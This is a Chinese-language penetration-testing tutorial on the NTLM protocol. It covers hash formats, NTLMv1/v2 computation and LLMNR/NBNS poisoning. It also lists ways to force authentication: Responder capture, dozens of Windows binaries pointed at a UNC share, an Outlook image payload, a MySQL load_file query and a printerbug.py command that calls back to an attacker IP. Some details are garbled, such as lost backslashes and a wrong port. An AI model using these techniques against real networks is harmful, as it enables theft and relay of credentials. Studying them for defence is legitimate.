NTLM协议

概念

Hash

windows 内部只保存密码的 hash,并不保存明文密码,本机用户的hash保存在本地的 SAM 文件中,域内用户的 hash 保存在域控的 NTDS.dit 文件中。

windows导出密码时,密码格式通常为:

1
Username:group id:LM Hash:NTLM Hash:::

LM Hash 是 windows 早期用的加密算法,为了解决 LM 加密和身份验证中固有的安全弱点,1993年微软引进了 NTLM 协议。从 Windows7 和 Windows Server 2008 开始,默认情况下系统只会存储 NTLM Hash。

计算

  • 密码转十六进制格式
  • Unicode 编码
  • MD4

身份验证

NTLM 验证是一种 Challenge/Response 验证机制,由三种消息组成:协商、质询、验证

  • 客户端向服务端发送协商信息,主要包含客户端支持和服务器请求的功能列表
  • 服务器响应质询消息,包含服务器支持和同意的功能列表,以及服务器产生的 Challenge
  • 客户端接收到 Challenge 后,用用户 Hash 与 Challenge 进行加密运算得到 Response,将 Response、username、Challenge 作为验证信息发给服务器
  • 服务器拿到验证信息后,用 Challenge 和用户 Hash 进行加密得到 Response2,与验证信息中的 Response 进行比较
  • 如果用户 Hash 存储在域控中,用户服务器就会通过 NetLogon 协议联系域控,建立一个安全通道,将 协商、质询和验证消息都发给域控,这个过程也被称为 Pass Through Authenication 认证流程。域控使用 Challenge 和用户 Hash 进行加密得到 Response2, 与验证消息中的 Response 比较

NTLM v1/v2

验证中的响应有六种,其中的 NTLM v1 是基于 NT 客户端发送的,包括 Windows 2000 和 XP, NTLM v2 是在 Windows NT Service Pack4 中引入的响应类型。

Challenge/Response验证机制里面type3 response里面包含Net-ntlm hash,NTLM v1响应和NTLMv2响应对应的就是Net-ntlm hash分为Net-ntlm hash v1和Net-ntlm hash v2。

NTLM v1

v1 是8位的 Challenge,它的加密算法是将16字节的 NTLM Hash 填充为21个字节,然后分成3组,作为3DES加密算法的3组密钥,加密 Server 发送来的 Challenge,三个密文值连接起来得到 Response。

Net-ntlm hash v1

1
username::hostname:LM response:NTLM response:challenge

NTLM v2

v2是16位的 Challenge,加密算法:

  • 将 Unicode 后的大写用户名与 Unicode 后的身份验证目标(指定的域或服务器名称)拼在一起,使用 16字节 NTLM Hash 作为密钥,得到一个值
  • 构建 blob 信息
  • 用 NTLM v2 Hash 作为密钥,将 HMAC-MD5 消息认证代码算法加密来自质询的 Challenge 与 Blob 拼接在一起,得到一个16字节的 NTProofStr
  • 将 NTProofStr 与 Blob 拼接起来得到 Response

Net-ntlm hash v2

1
username::domain:challenge:HMAC-MD5:blob

NTLM 请求

LLMNR 和 NBNS

windows 解析域名顺序:

  • hosts
  • DNS
  • LLMNR
  • NBNS

LLNMR

LLMNR 是一种基于 DNS 数据包的格式,监听端口为 UDP:5535,IPv4 的广播地址为 224.0.0.252,IPv6 的广播地址为 FF02:0:0:0:0:0:1:3 或 FF02::1:3。LLNMR 采取的是广播的形式,当主机访问一个不存在的域名时,在本机 hosts 中没找到,DNS也无法解析,就会通过 LLMNR 协议进行广播,通过 Responder 进行响应,告知域名解析IP就可以进行类似 ARP 投毒的 LLMNR 投毒,进而获取主机的 NTLM v2 Hash。

NBNS

NBNS 全称为 NetBIOS Name Service。NetBIOS 解析过程为:

  • 检查本地 NetBIOS 缓存
  • 如果缓存中没有且配置了 WINS 服务器,就会向 WINS 服务器发出请求
  • 如果没有配置 WINS 服务器或 WINS 服务器无响应就会向当前子网域发送广播
  • 广播无回应就会读取本地的 lmhosts 文件(C:\Windows\System32\drivers\etc\)

在没有配置 WINS 服务器的情况下,NBNS 也会进行广播,所以也存在 NBNS 投毒。

使用 Responder 抓取NTLM v2 Hash

在kali下执行

1
responder -I eth0 -v

目标机器执行

1
net use \123

网络上的用户需要访问没有 IP 或用户类型分析名的 share,就会触发到网络的 LLMNR 请求,responder 就会伪装成该访问的机器,从而获得 NTLM v2 Hash

image-20210618105818213

发起 NTLM 请求

执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 net.exe use \hostshare 
 attrib.exe \hostshare  
 bcdboot.exe \hostshare  
 bdeunlock.exe \hostshare  
 cacls.exe \hostshare  
 certreq.exe \hostshare #(noisy, pops an error dialog) 
 certutil.exe \hostshare  
 cipher.exe \hostshare  
 ClipUp.exe -l \hostshare  
 cmdl32.exe \hostshare  
 cmstp.exe /s \hostshare  
 colorcpl.exe \hostshare #(noisy, pops an error dialog)  
 comp.exe /N=0 \hostshare \hostshare  
 compact.exe \hostshare  
 control.exe \hostshare  
 convertvhd.exe -source \hostshare -destination \hostshare  
 Defrag.exe \hostshare  
 diskperf.exe \hostshare  
 dispdiag.exe -out \hostshare  
 doskey.exe /MACROFILE=\hostshare  
 esentutl.exe /k \hostshare  
 expand.exe \hostshare  
 extrac32.exe \hostshare  
 FileHistory.exe \hostshare #(noisy, pops a gui)  
 findstr.exe * \hostshare  
 fontview.exe \hostshare #(noisy, pops an error dialog)  
 fvenotify.exe \hostshare #(noisy, pops an access denied error)  
 FXSCOVER.exe \hostshare #(noisy, pops GUI)  
 hwrcomp.exe -check \hostshare  
 hwrreg.exe \hostshare  
 icacls.exe \hostshare   
 licensingdiag.exe -cab \hostshare  
 lodctr.exe \hostshare  
 lpksetup.exe /p \hostshare /s  
 makecab.exe \hostshare  
 msiexec.exe /update \hostshare /quiet  
 msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
 mspaint.exe \hostshare #(noisy, invalid path to png error)  
 msra.exe /openfile \hostshare #(noisy, error)  
 mstsc.exe \hostshare #(noisy, error)  
 netcfg.exe -l \hostshare -c p -i foo

outlook

邮件支持 html 格式,同时图片路径支持 UNC,所以可以构造 payload:

1
<img src="\192.168.1.1\outlook">

Mysql

Mysql注入可以进行带外通信将数据带出来,前提是具备load_file权限,且没有secure_file_priv的限制,LOAD_FILE 也支持 UNC 路径

1
select load_file('\\192.168.1.1\mysql');

打印机

Windows 默认启用 MS-RPRN 协议,勇于打印机客户端和服务端的通信,任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。

1
ython printerbug.py 域/用户名:密码@打印机服务ip 回连ip